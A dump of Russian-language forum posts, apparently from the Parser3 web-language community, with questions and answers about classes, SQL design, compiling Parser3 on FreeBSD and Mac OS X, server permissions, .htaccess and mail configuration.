"71372","Он делает GMT-string из mysql-даты в GMT:\
'2001-03-23 09:32:23' -> 'Fri, 23 Mar 2001 09:32:23 GMT'\
\
Сдвиг -6 часов подобран опытным путем так, чтобы в данный\
момент был нужный результат.\
\
[quote]а вообще парсер использует аббревиатуры временных зон,\
определённых в системе\
[/quote]Похоже, не использует, или использует как-то странно,\
т.к. работает преобразование к TZ MSK-6MSD и MSK-7MSD...\
\
Зачем это нужно? Например, чтобы получить в формате RFC 822\
дату комментария, которая хранится в SQL-базе тоже в GTM.\
Переводить дату в локальное время сервера средствами SQL..?\
\
Кстати, на этом форуме в RSS попадают даты по московскому\
времени, но с пометкой GMT."
"71373","classFile.p\
============\
[code]\
@CLASS\
myClass\
\
@myMethod[myParam]\
это переданный параметр -- $myParam\
[/code]\
index.html\
============\
[code]<html>\
<body>\
	^use[/classFile.p]\
	^myClass:myMethod[чего-то там]\
</body>\
</html>[/code]"
"71374","Adobe Dreamweaver CS3\
\
Кстати, тут есть сторонники этого редактора или всех он раздражает ужасно? :)"
"71375","[quote]\
^myClass:myMethod[чего-то там]\
[/quote]\
я так понимаю \"чего-то там\" это переданный параметр -- $myParam?\
если параметр является переменной которая вычисляется в другом пользовательском классе? я так понимаю надо подключить и его что бы он отработал?\
когда надо его подключать до, после, внутри?\
и можно ли \
[quote]\
^use[/classFile.p]\
^myClass:myMethod[чего-то там]\
[/quote]\
запихнуть внутрь другого пользовательского класса?\
Заранее спасибо за ответ...\
З.Ы. Вообще в парсере для меня есть несколько моментов которые я в принципе не могу осознать, что-то я просто найчился использовать без понимания процесса, что-то нет. Это я один такой тормоз интересно?"
"71376","[quote]я так понимаю \"чего-то там\" это переданный параметр -- $myParam?[/quote]\
да, в данном случае \"чето-то там\" приходит в $myParam\
[quote]если параметр является переменной которая вычисляется в другом пользовательском классе?[/quote]\
подключаете нужный класс, получаете нужную переменную, и передаете ее во второй класс.\
[code]\
^use[/class_1.p]\
# тут из class_1 пришла переменная\
\
^use[/classFile.p]\
^myClass:myMethod[$class_1:myVar]\
[/code]\
[quote]...запихнуть внутрь другого пользовательского класса?[/quote]\
можно, экспериментируйте и пишите что не получилось\
[quote]Это я один такой тормоз интересно?[/quote]\
нет. :)"
"71377","например есть таблица films:\
[code]-------------------------------\
t_id | title | genre_id | ... |\
-------------------------------\
  1  | Tsar  |   2      | ... |\
-------------------------------[/code]\
и ещё одна таб. genres:\
[code]------------------\
genre_id | name  |\
-----------------\
 2       | drama |\
------------------[/code]\
\
Получается что фильму соответствует ОДИН жанр(genre), но фильм может иметь НЕСКОЛЬКО жанров, как быть?\
\
Пробовал преобразовать genre_id (таб. films) в тип set, но ничего не вышло. \
[code]-------------\
| genre_id  |\
-------------\
|  1,2      |\
-------------[/code]\
В принципе можно добавить столбцов в таблицу films - genre_2, genre_3  или перебрать всевозможные комбинации в таблице genres ( слишком много сочетаний получается). Посоветуйте как быть?"
"71378","можно в genre_id сохранить несколько значений через запятую, а можно удалить поле genre_id из таблицы films, и создать таблицу соответствия film_genre c двумя соответствующими полями"
"71379","... реализуется через дополнительную таблицу с дувмя полями genre_id|film_id. Это очень хорошо описано в литературе по базам данных."
"71380","[quote]$class_1:myVar[/quote] Именно так надо передавать переменную? $имякласса:имяпеременной я правильно понял?\
спасибо за помощь..."
"71381","В Парсере есть [url=http://www.parser.ru/docs/lang/statusclass.htm]класс status[/url], который позволяет получать всю необходимую информацию в любой момент выполнения скрипта. Если Вы используете [url=http://www.parser.ru/examples/sql/]Мишины sql-классы[/url], то можете легко получить информацию о запросах и ресурсах, которые на них затрачены."
"71382","... реализуется достаточно просто [url=http://www.parser.ru/forum/?id=62248]с помощью свойств[/url]."
"71383","Всем спасибо."
"71384","спасибо, попробую разобраться, надо время на смысление... задам вопросы позже... много..."
"71385","Что сообщество скажет по поводу этого редактора? Пользовались уже ктото? Как впечатления? очень уже интересный на вид, хоть и дорогой...\
http://www.sublimetext.com/"
"71387","Кстати, вы [url=\"http://forum.farmanager.com/viewtopic.php?f=11&t=3002&start=0&hilit=AutoComplete\"]про это[/url]?"
"71390","http://www.kulikoff.net/parser3/img/\
\
\
[code]\
#Img.p метод @watermark[]\
#213 строка\
^hParams.add[\
^self._getFiles[watermark;$sFileSrc;$sFileDest;$hParams.sFormat;$hParams]\
	$.sWMFile[$sDocRoot/$sWMFile]]\
	^if(def $hParams.sPosition){\
		$.sPosition[^self._getPosition[watermark;$hParams.sPosition]]\
	}\
][/code]\
\
215 строка, $.sWMFile[$sDocRoot/$sWMFile][b][color=\"#ff0000\"]][/color][/b]\
\
это же лишнее? :)"
"71392","и в итоге получается ошибка:\
[quote]\
[b]if[/b]\
$.name outside of $name[...][/quote]\
\
а закрывать должен следующий [b]][/b]"
"71394","Да... У меня тоже возникло это и еще другие проблемы. Но вообщем класс хароший."
"71395","Дорогий Den Kulikoff - вы получили ли мое письмо через e-mail? \
Я отправил ее на den@kulikoff.net.\
\
Я хотел исправить немного мельких недестаток в вашем классие.\
Могу ли я отправить в форум исправенную версйю или надо ждать вашего ответа через эмайл?\
\
Поздравляю и спасибо за хароший класс"
"71396","Нет, не получал. Отправьте, пожалуйста, еще раз."
"71397","Тепер отправил ещё раз. \
Но до сих пор сделал ещё немножко.\
Тоже отправлю завтра\
\
Поздравляю"
"71399","У меня хостер любезно решил обновить фрюху. Теперь там восьмая. Как мне настроить парсер на нее ?"
"71400","Она вышла-то пару дней как...\
\
Если включена поддержка бинарников от FreeBSD 7 - такую версию\
парсера и ставить + libmysqlclient.so от FreeBSD 7, если mysql используется."
"71402","Бинарники от седьмой не поддерживает. я уже проверил этот вариант, ошибка 500 рулит. В логах записи:\
Premature end of script headers: /sata1/home/users/***/www/www.***.com.ua/cgi-bin/parser3.cgi\
\
В общем, все печально. Что же делать?"
"71403","phpinfo говорит обратное\
\
FreeBSD ***.***.com.ua 8.0-RC3 FreeBSD 8.0-RC3 #0: Wed Nov 11 14:41:54 EET 2009 admin@***.***.com.ua:/usr/obj/usr/src/sys/HOST8x amd64"
"71404","Из шелла пробовали запускать бинарники? Права проверили?"
"71406","... поскольку на сервере стоит 64-битная версия ОС. И, судя по тому, что вы рассказываете, совместимость не особо настроена."
"71407","Из шелла бинарники не запускал. Как? \
\
Права проверил."
"71408","Ну и как собрать? \
\
bash: ./configure: Permission denied"
"71409","Это проблему не решает. :("
"71412","Судя по датам файликов:\
ftp://ftp.freebsd.org/pub/FreeBSD/releases/amd64/ISO-IMAGES/8.0/"
"71413","ldd parser3.cgi\
\
И читать что скажет (хотя скорее всего все плохо)\
\
Автору топика: \
\
пришлете ssh на moko@design.ru - соберу.\
\
Или ждите - наверное в течении недели сами соберем\
и выложим под FreeBSD 8 + FreeBSD x 64 + под старый Linux."
"71414","Building...\
buildall-with-xml: cannot create /dev/null: Permission denied\
cd: can't cd to /sata1/home/users/hotprint/www/www.hotprint.com.ua/src\
Downloading gc [1 lib of 4]...\
wget: not found\
Unpacking gc...\
gunzip: not found\
buildall-with-xml: cannot create /dev/null: Permission denied\
cd: can't cd to gc-7.1\
Configuring gc...\
buildall-with-xml: ./configure: not found\
Building gc...\
make: not found\
make: not found\
cd: can't cd to /sata1/home/users/hotprint/www/www.hotprint.com.ua/src\
Downloading pcre [2 lib of 4]...\
wget: not found\
Unpacking pcre...\
buildall-with-xml: cannot create /dev/null: Permission denied\
gunzip: not found\
cd: can't cd to pcre-7.9\
Configuring pcre...\
buildall-with-xml: ./configure: not found\
Building pcre...\
make: not found\
make: not found\
Copying required files (Parser3 uses some PCRE internals)...\
cp: /sata1/home/users/hotprint/www/www.hotprint.com.ua/pcre/include is not a directory\
cd: can't cd to /sata1/home/users/hotprint/www/www.hotprint.com.ua/src\
Downloading libxml [3 lib of 4]...\
wget: not found\
Unpacking libxml2... (be patient)\
buildall-with-xml: cannot create /dev/null: Permission denied\
gunzip: not found\
cd: can't cd to libxml2-2.7.6\
Configuring libxml...\
buildall-with-xml: ./configure: not found\
buildall-with-xml: cannot create testapi.c: Read-only file system\
buildall-with-xml: cannot create runtest.c: Read-only file system\
Building libxml...\
make: not found\
make: not found\
cd: can't cd to /sata1/home/users/hotprint/www/www.hotprint.com.ua/src\
Downloading libxslt [4 lib of 4]...\
wget: not found\
Unpacking libxslt... (be patient)\
buildall-with-xml: cannot create /dev/null: Permission denied\
gunzip: not found\
cd: can't cd to libxslt-1.1.26\
Configuring libxslt...\
buildall-with-xml: ./configure: not found\
Building libxslt...\
make: not found\
make: not found\
Configuring parser3...\
buildall-with-xml: ./configure: Permission denied\
Building parser3...\
make: not found\
DONE"
"71416","bash: ldd: command not found\
\
:)\
\
Отправил в почту SSH"
"71417","Можно открыть диспут что считать моментом выхода - возможность поставить и пользоваться или анонс на главной странице. :)\
\
... но думаю оно того не стоит. :)"
"71418","В исходниках четко все написано:\
[quote]\
/usr/src/UPDATING\
20091125:\
        8.0-RELEASE.\
[/quote]\
\
p.s. Сейчас как раз обновляю домашний сервер на FreeBSD 8.0 amd64 :)"
"71419","[code]\
if g++ -DHAVE_CONFIG_H -I. -I/Users/Victor/Desktop/parser-3.4.0/src/main -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I/Users/Victor/Desktop/parser-3.4.0/src/lib/ltdl      -g -O2 -MT pa_pool.o -MD -MP -MF \".deps/pa_pool.Tpo\" -c -o pa_pool.o /Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C; \\\
	then mv -f \".deps/pa_pool.Tpo\" \".deps/pa_pool.Po\"; else rm -f \".deps/pa_pool.Tpo\"; exit 1; fi\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:10:21: error: pa_pool.h: No such file or directory\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:11:26: error: pa_exception.h: No such file or directory\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:12:23: error: pa_common.h: No such file or directory\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:13:21: error: pa_sapi.h: No such file or directory\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:14:24: error: pa_charset.h: No such file or directory\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:18: error: ‘Pool’ has not been declared\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:18: error: ISO C++ forbids declaration of ‘Pool’ with no type\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:20: error: variable or field ‘cleanup’ declared void\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:20: error: ‘Pool’ is not a class or namespace\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:20: error: expected primary-expression before ‘int’\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:24: error: expected constructor, destructor, or type conversion before ‘::’ token\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:32: error: ‘Pool’ is not a class or namespace\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C: In function ‘void register_cleanup(void (*)(void*), void*)’:\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:33: error: ‘cleanups’ was not declared in this scope\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:33: error: ‘Cleanup’ was not declared in this scope\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C: At global scope:\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:36: error: variable or field ‘unregister_cleanup’ declared void\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:36: error: ‘Pool’ is not a class or namespace\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:36: error: ‘item’ was not declared in this scope\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:36: error: expected primary-expression before ‘void’\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:40: error: ‘Pool’ is not a class or namespace\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C: In function ‘void unregister_cleanup(void*)’:\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:41: error: ‘cleanups’ was not declared in this scope\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C: In function ‘void cleanup(void*)’:\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:47: error: expected type-specifier before ‘Pooled’\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:47: error: expected `>' before ‘Pooled’\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:47: error: expected `(' before ‘Pooled’\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:47: error: ‘Pooled’ was not declared in this scope\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:47: error: expected primary-expression before ‘>’ token\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:47: error: ‘void*’ is not a pointer-to-object type\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:47: error: expected class-name before ‘(’ token\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:47: error: expected `)' before ‘;’ token\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C: At global scope:\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:50: error: ‘Pooled’ has not been declared\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:50: error: expected constructor, destructor, or type conversion before ‘(’ token\
/Users/Victor/Desktop/parser-3.4.0/src/main/pa_pool.C:55: error: expected constructor, destructor, or type conversion before ‘::’ token\
make[2]: *** [pa_pool.o] Error 1\
make[1]: *** [all-recursive] Error 1\
make: *** [all-recursive] Error 1\
[/code]\
\
Что бы это могло значить? Я вижу, что pa_pool.h и другие хедеры, про которые написано, что они отсутствуют, в каталоге include имеются."
"71422","Если с правами на файлы все хорошо, то вроде как все правильно.\
\
Думаю поможет если тупо скопировать все инклюды в main (и вероятно по ходу дела и в другие директории потребуется), но суть проблемы мне не ясна."
"71423","Ну на самом деле все гораздо хуже.\
Если следовать скрипту build-all-with-xml, то оказывается, что gc просто так не собирается в 10.6, make говорит, что \
[code]In file included from mach_dep.c:163:\
/usr/include/ucontext.h:42:2: error: #error ucontext routines are deprecated, and require _XOPEN_SOURCE to be defined[/code]\
\
Путем замены строки [code]# include <ucontext.h>[/code] на [code]# include <sys/ucontext.h>[/code] что-то позитивное происходит и можно заметить, что получился каталог /parser/gc/lib/, содержащий внутри libgc.a, libcord.a и т.д.\
\
Однако при конфигурировании парсера с --with-static-gc=/parser/gc/lib я получаю, что\
[code]\
configure:4154: checking for libgc\
configure:4178: gcc -o conftest -g -O2   conftest.c  -L/parser/gc/lib -Wl,-Bstatic -lgc -Wl,-Bdynamic >&5\
ld: unknown option: -Bstatic\
collect2: ld returned 1 exit status\
configure:4184: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| extern \"C\" void exit (int);\
| #endif\
| #define NDEBUG\
| #define PA_SAFE_MODE\
| /* end confdefs.h.  */\
| \
| 	extern int GC_dont_gc;\
| \
| int\
| main ()\
| {\
| \
| 	GC_dont_gc=0;\
| \
|   ;\
|   return 0;\
| }\
configure:4206: result: no\
configure:4208: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
[/code]\
\
Если же все вспомогательные библиотеки компилировать без static-опции, равно как и в ./configure для парсера не указывать компиляцию со статическими библиотеками, то вылезает ошибка, о которой я писал выше.\
\
Переписать все хедеры в main попробую уже завтра."
"71424","Ну, с -Bstatic вы не одиноки, в Google таких много:\
http://forum.amule.org/index.php?topic=15573.0\
\
Возможно проще подождать ответа тех кто с опытом (<a href=\"/download/contrib/\">http://www.parser.ru/download/contrib/</a>) - от версии 3.3 процесс сборки не должен особо отличаться,"
"71425","Черт, там же у Андрея была конфигурация написана, я и забыл.\
\
Собралось, в общем, спасибо, что напомнили."
"71426","Все методы должны быть свободно перемешиваемы. Чтобы можно было делать одновременный кроп, ресайз и вотермарк в любых комбинациях.\
\
Перекомпрессия после каждой операции - зло."
"71427","А кто мешает сохранять картинку без компрессии во время промежуточных операций?"
"71429","если все можно реализовать за один проход."
"71430","Когда класс только начинал создаваться, то подобная мысль была, но по каким-то причинам не стал ее реализовывать. Сейчас, если честно, то и не помню уже по каким.\
\
Основное удобство класса в том, что он позволяет работать с изображениями на уровне, который недоступен стандартными средствами. Ну и то, что можно безболезненно переходить с одного скрипта на другой. Мне лично не раз приходилось."
"71431","Вы хотели бы чтоб класс со вызавами методов н.п. resize, rotate, crop (и ещё другие) собирал данные? Потом через метод н.п. render все делал всё в одном проходе nconvert или image magick?\
Я делаю temp файлы в формате PNG и в последним шаге выпускаю jpg. Не нужно мне делать всего в одном проходе. Но кагда я бы захотел - не использовалбы класса img.p - но всё делал непосредственно через exec и вызвал бы convert только раз.\
\
Мне нравиться класс - но несколько менил про себя."
"71432","Что ж, Парсер скомпилировался, mySQL драйвер тоже, но в 64-бит. Кто-нибудь может подсказать, что нужно сообщить ./configure, чтобы gcc выдавал 32-битный код?"
"71433","http://www.parser.ru/f/1/download/freebsd8/parser3_4_0_freebsd80Rx64_cgi_xml.tar.gz\
http://www.parser.ru/f/1/download/freebsd8/parser3sql_10_3_freebsd80Rx64_mysql.tar.gz\
\
Как соберем все нужные версии, добавим в \"скачать\"."
"71434","Проблема решена?"
"71435","Да."
"71436","Мне занимало это.. посмотрите:\
\
someClass.p\
[code]\
@CLASS\
someClass\
\
@auto[]\
$var[\"выполнен автоматически при загрузке класса\"]\
\
@load[]\
$self.var[${self.var}, изменён через конструктор]\
\
@showVar[]\
$self.var\
^rem{$var локальная или глобальная?}\
[/code]\
\
index.html\
[code]\
@USE\
/someClass.p\
\
@main[]\
$someClass:var<br/>\
$oSome[^someClass::load[]]\
$someClass:var<br/>\
\
$oSome2[^someClass::load[]]\
^oSome2.showVar[]<br/>\
[/code]\
\
получил:\
[code]\"выполнен автоматически при загрузке класса\"\
\"выполнен автоматически при загрузке класса\", изменён через конструктор\
\"выполнен автоматически при загрузке класса\", изменён через конструктор, изменён через конструктор[/code]\
\
Понимал:\
Есть возможность присвоения чего-нибудь в стандартную переменную классы через конструктор."
"71437","Поисковики по указанной теме выдают массу полезной информации. :)"
"71438","массу полезной информации не нашёл - но спасибо за ответ.\
\
Запомню: [b]статическая переменная класса[/b]"
"71439","http://www.c-help.net/49.html"
"71441","[quot]Через конкретный же экземпляр класса доступа к такой перемнной нет. Т. е. использовать такую статическую переменную можно только для самого класса без создания экземпляра.[/quot]\
\
в Парсере есть доступ ;)"
"71442","В C# вроде как тоже есть. Думаю огрехи переводчика. Но суть в начала они раскрыли правильно. :)"
"71443","/: '/var/www/cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/cgi-bin/auto.p', fuid(0)!=euid(48) or fgid(0)!=egid(48) [parser.runtime]\
\
что может означать?"
"71444","И еще http://www.parser.ru/forum/?terms=grpunlim&author=&doSearch=%CD%E0%E9%F2%E8"
"71445","я так понял нужно скачать версию grpunlim для линукс\
\
а где её взять?"
"71446","Но раз принцип формирования ссылок на grpunlim версию вы не нашли, вот готовая ссылка:\
http://www.parser.ru/f/1/download/linux/parser3_4_0_debian5_grpunlim_cgi_xml.tar.gz"
"71447","Как вариант:\
\
\"gcc man page directed me to -m32 and -m64 option. These options generate code for a 32-bit or 64-bit environments. \"\
\
Соотвественно пробовать в configure заменить все \"-g -O2\" на \"-g -O2 -m32\", или переменные окружения типа CXXFLAGS выставлять."
"71448","Добрый вечер.\
Подключение парсер к Apache не вызвал никаких затруднений, а вот c IIS 7.0 неясность даже в самой последовательности действий подключения, т.е. информации предоставленная на сайте явно не хватает. Правильно ли понимаю, что подключение осуществляется через \"Handler Mappings\"  -> \"Add Module Mapping\"?"
"71449","но я сам никогда в жизни не подключал модуль к IIS (да и сам IIS не использовал)."
"71451","Парсер не работает (Internal Server Error), если запрщен доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Удаляю эти команды - работает. Почему так?"
"71452","Это apache не нравится такая конструкция (может запрещена, может версия не та и синтаксис другой нужен). Подробности можно смотреть в error_log apache. А парсеру понятно все равно, что вы в .htaccess напишите, просто когда там ошибка apache не запускает парсер."
"71453","В логах: \"Invalid command 'Order', perhaps misspelled or defined by a module not included in the server configuration\""
"71454","Судя по всему не загружен модуль apache mod_access:\
\
http://httpd.apache.org/docs/1.3/mod/mod_access.html#order\
\
Это вероятно не у хостера? Обычно этот модуль есть."
"71455","/var/www/cgi-bin/lib/libparser3mysql.so: cannot open shared object file: Permission denied\
\
что это может быть?"
"71456","Джони, Вам не хватило прав.\
\
Вам помогут команды сhmod, stat и вероятно потребуется chown, а может и не потребуется\
\
зы: У Вас вероятно не очень большой опыт, и Вы вероятно настраиваете свой сервер. - Приготовтьтесть к тому что Вы многое сделали не так как делается обычно, и у Вас ещё будет ряд преодолимых но тем не менее сложностей."
"71457","Устанавливаю парсер на хостинг(hostland.ru). На нем FreeBSD 7.0-STABLE (узнал в суппорте)Соответственно выбрал версию FreeBSD 7.x\
\
Залил все файлы в бинарном режиме в /cgi-bin\
Файлу parser3.cgi выставил необходимые права (755), пункт «executable» включен.\
\
В корневой каталог кинул .htaccess с необходимыми директивами\
[code]\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
Директиву CharsetDisable не добавлял, т.к. приводит к ошибке, судя по логам сервера.\
\
Так вот все равно наблюдаю ошибку [b]500 Internal Server Error[/b]\
[i]The server encountered an internal error or misconfiguration and was unable to complete your request.[/i]\
\
В еррор-логе значится \
[b] Premature end of script headers: /home/host700510/specc.ru/htdocs/parser/cgi-bin/parser3.cgi [/b]\
То есть он считает, что ошибка в скрипте, но версия то правильная.\
\
Совершенно не пойму в чем же еще может быть дело.\
Перед тем как написать, перерыл весь фак и форум, но проблему решить не удалось.\
\
Прошу помощи.\
Да, хостинг поддерживает parser."
"71458","Такие проблемы правильнее смотреть, запустив парсер из shell или если shell нет, то через такой враппер parser.sh\
\
#!/bin/sh\
echo \"Content-type: text/plain\"\
echo\
echo \"OS version:\"\
uname -a\
echo \"Libraries information:\"\
ldd ./parser3.cgi\
echo \"Parser execution test:\"\
./parser3.cgi 2>&1\
\
Важно: unix переводы строк, права 755, класть в cgi-bin, оттуда и запускать.\
\
Например возможно, что у провайдера 64-х битная OS и нет библиотек совместимости, тогда надо брать 64-х битную версию парсера\
http://www.parser.ru/f/1/download/freebsd/parser3_4_0_freebsd72Rx64_cgi_xml.tar.gz"
"71459","В корне сайта есть файл .shrc\
Мне туда дописать эти строки?\
\
Или создать файл с этими строками в cgi-bin?\
\
Или я совсем не в ту степь?)\
\
Про версию ОС я спрошу. А 64-х битной версии для FreeBSD 7.0 я не нашел. Ссылка Ваша не работает."
"71460","[quote]Или создать файл с этими строками в cgi-bin?[/quote]\
\
Если нет доступ в shell откуда можно тоже исполнить эти команды, то да.\
\
[quote]Ссылка Ваша не работает.[/quote]\
\
На одну букву промахнулся:\
http://www.parser.ru/f/1/download/freebsd7/parser3_4_0_freebsd72Rx64_cgi_xml.tar.gz"
"71461","Спасибо. Поставил 64-х битный. Установился (файл _test.html работает)\
Но на главной вижу [b]Unhandled Exception[/b]\
В parser3.log:\
[code]/home/host700510/specc.ru/htdocs/parser/auto.p(7:30): 'uri' column not found [parser.runtime] [uri=/, method=GET, cl=0][/code]\
В чем ошибка?\
\
Еще можно попросить дать ссылочку на SQL драйвер для MySQL для 64-х битной FreeBSD 7.x?"
"71462","[quote]В чем ошибка?[/quote]\
В 7-ой строке файла /htdocs/parser/auto.p. Откуда же мы знаем, что у вас там написано. Может оно так себя ведет без sql.\
\
[quote]Еще можно попросить дать ссылочку на SQL драйвер для MySQL для 64-х битной FreeBSD 7.x?[/quote]\
http://www.parser.ru/f/1/download/freebsd7/parser3sql_10_3_freebsd72Rx64_mysql.tar.gz\
Если Миша уже не поставил в \"скачать\" ссылки на x64 версии. :)"
"71463","Вопрос. Как при выполнении запроса на удаление записей таблицы в базе (DELETE FROM table) методами класса Mysql получить ответ о количестве удаленных строк. Если кто \"прозвонил\" этот класс - поделитесь солвом."
"71464","Спасибо. Вроде начинаю разбираться)"
"71465","Я извиняюсь, господа, а откуда взялась такая чудесная константа 50 при выполнении exec, про которую в документации ни гу-гу, и что мне с ней делать? Пытаюсь обмануть file::exec уже 2 часа, пока безуспешно.\
--->	char* argv_cstrs[1+50+1]={file_spec_cstr, 0};"
"71466","http://www.parser.ru/docs/lang/filecgiexec.htm\
[quote]\
...или передать методу список аргументов, заданный в виде таблицы с одним столбцом:   [3.2.2]\
$args[^table::create{arg\
длина\
ширина}]\
$script[^file::exec[script.pl;;$args]][/quote]"
"71467","Ага, я и делаю это иначе:\
$args[^table::create{arg\
-size\
600x150\
-font\
tahoma-bold\
-pointsize\
13\
...и т.д. еще 50 аргументов. не от хорошей жизни столько, как вы понимаете.\
Попробовал вынести наружу часть:\
$font[-size 600x150 -font tahoma-bold]\
$args[^table::create{arg\
$font\
-pointsize\
13\
\
Не проходит этот номер. Главное, что никак нельзя посмотреть реальную командную строку, которая подается системе, а то бы стало понятно, почему не работает. stderr выдается такой:\
unrecognized option `-size 600x150 -font tahoma-bold', то есть по косвенным признакам можно судить, что exec автоматически закавычивает аргументы с пробелами."
"71468","Не знал, что это ограничение и в случае таблицы есть. Ну берите 3.4.0, там хотя-бы в 2 раза больше:\
\
char* argv_cstrs[1+100+1]={file_spec_cstr, 0};\
\
:)\
\
P.S. Посмотрел на код - непонятно зачем вообще\
это ограничение, можно написать так:\
\
        char* argv_cstrs[1+argv.count()+1];\
        argv_cstrs[0]=file_spec_cstr;"
"71469","Ок, спасибо, понял."
"71470","увы, это жертва универсальности работы с разными sql серверами.\
\
если у вас MySQL 5.01 или более новый, то можете попробовать [url=\"http://dev.mysql.com/doc/refman/5.1/en/information-functions.html#function_row-count\"]так[/url]."
"71472","Да... не хватает прав. Вы можете изменить права в ftp-клиенте. Н.п. в total commander. parser.cgi и libparser3mysql.so должны иметь 755"
"71474","Пытаюсь сделать форму обратной связи с сайта.\
В конфигурационный файл написал:\
[code]\
$MAIL[\
	$.SMTP[mail.domain.ru]\
]\
[/code]\
Не работает из-за того, что на хостинге необходима smtp авторизация.\
Есть ли какие то дополнительные параметры $mail, для таких целей.\
Можно ли сделать как-нибудь по другому?"
"71475","Нет, авторизация в SMTP не поддерживается, не было такой необходимости.\
\
http://www.tigir.com/rfc2554.htm - если у вас авторизация по RFC, запишем в to-do..."
"71476","Здравствуйте.\
\
Предлагаю проверать.\
Мне очень интересные как ваше мнение об этой работе.\
\
http://cms.forjesus.eu/download/c4j-0.95-full.tgz\
http://demo.cms.forjesus.eu/_admin\
u: demo\
p: cmsADMIN\
\
доки и всё об системе:\
http://cms.forjesus.eu\
\
п.с. я включил в неё некоторые из ваших класс:\
от Misha v.3, Sumo, Den Kulikoff и Wonder\
мне надежно что я мог их включить"
"71477","На первый взгляд выглядит интересно :)\
Буду на выходных изучать :)\
\
В любом случае большое спасибо за то, что выложили в публичный доступ! :)"
"71478","Я поковырялся тут еще\
\
Заработало, когда я убрал из конфигурационного файла \
[code]$MAIL[\
	$.SMTP[mail.domain.ru]\
][/code]\
\
Теперь все отправляется"
"71479","[code]\
t1:\
\
id	name\
1	car\
2	bus\
\
\
t2:\
\
id	vid	t1id	val\
1	5	2	buswheel\
2	5	1	carwheel\
3	7	2	busengine\
4	7	1	carengine\
5	8	2	busfuel\
6	8	1	carfuel\
\
\
select ???????\
\
=> \
\
name	v1		v2		v3\
bus	buswheel	busengine	busfuel\
car	carwheel	carengine	carfuel\
[/code]\
\
Внимание вопрос: какой должен быть select ?"
"71480","Уже исправил в demo. Можно скачять:\
http://demo.cms.forjesus.eu/c4j-current-withoutTinyMCE.tgz"
"71481","в CFLAGS, CXXFLAGS и LDGLAGS. Правда драйвер mysql все равно руками линковать придется.\
\
Впрочем мы уже собрали, можно пользоваться:\
\
http://www.parser.ru/f/1/download/macosx/parser3_4_0_macosx105_cgi_xml.tar.gz\
http://www.parser.ru/f/1/download/macosx/parser3sql_10_3_macosx105_mysql.tar.gz"
"71482","- идём читать доку по SQL\
или такой:\
- идём покупать книжку по SQL\
\
P.S. тред закрыт"
"71483","сэнкс :-)"
"71484","Недавно только перешел на Parser и прошу извинить за глупый вопрос...\
\
Задача: Есть каталог с абстрактным именем folder/ . В каталоге лежит некоторое незаданное число файлов с числовыми именами от 1 до ... (точно меньше 50) и расширением \".html\". \
Вопрос: Можно ли как-нибудь определить номер последнего существующего файла и вывести его для последующих над ним операций?\
\
Помогите пожалуйста!\
\
Вот код, который должен выводить хотя бы список всех существующих / несуществующих файлов, но он не работает, Parser выдает ошибку дублирования(\
\
Код:\
\
[code]\
$nom(0) \
^while($nom < 50){ \
   <p>^nom.inc[] ---> | $nom  </p> \
}[^if(-f \"^nom[].html\"){ Файл существует }{ Файл отсутствует}]\
[/code]"
"71485","1. ^nom[].html => ${nom}.html\
2. удерите этот код из \"разделителя цикла\" и поместите его в \"тело цикла\"\
3. что такое \"ошибка дублирования\" я не знаю.\
\
P.S. nom -> num[ber]"
"71486","Есть такой код:\
[code]\
$albums[^table::load[albums.cfg]]\
<ul id=\"albums\" class=\"clear\">\
  ^albums.menu{\
